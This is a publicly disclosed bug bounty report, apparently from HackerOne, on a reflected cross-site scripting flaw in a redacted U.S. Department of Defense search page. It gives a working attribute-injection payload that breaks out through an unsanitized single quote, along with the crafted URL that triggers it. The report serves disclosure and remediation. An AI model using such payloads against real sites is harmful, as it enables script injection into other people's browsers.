HexBrain

U.S. Dept Of Defense · Report #1033253

Reflected Xss in [██████]

Validstatus
mediumseverity
3upvotes
6 Sept 2022disclosed

How it was found

Description: Reflected XSS in █████████ due to unsanitized single quote '.

Impact

An attacker could execute arbitrary javascript, and perform malicious actions !

Step-by-step Reproduction Instructions

  1. Used payload: simo%27onfocus=%27confirm(document.domain)%27name=%27simo%27#simo
  2. Visit the url, the alert box should pop up !:
    https://www.█████/gri/ziptool/search.aspx?a=1simo%27onfocus=%27confirm(document.domain)%27name=%27simo%27#simo

█████████

Suggested Mitigation/Remediation Actions

Sanitize single quote !

Impact

An attacker could execute arbitrary javascript in the client browser .

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original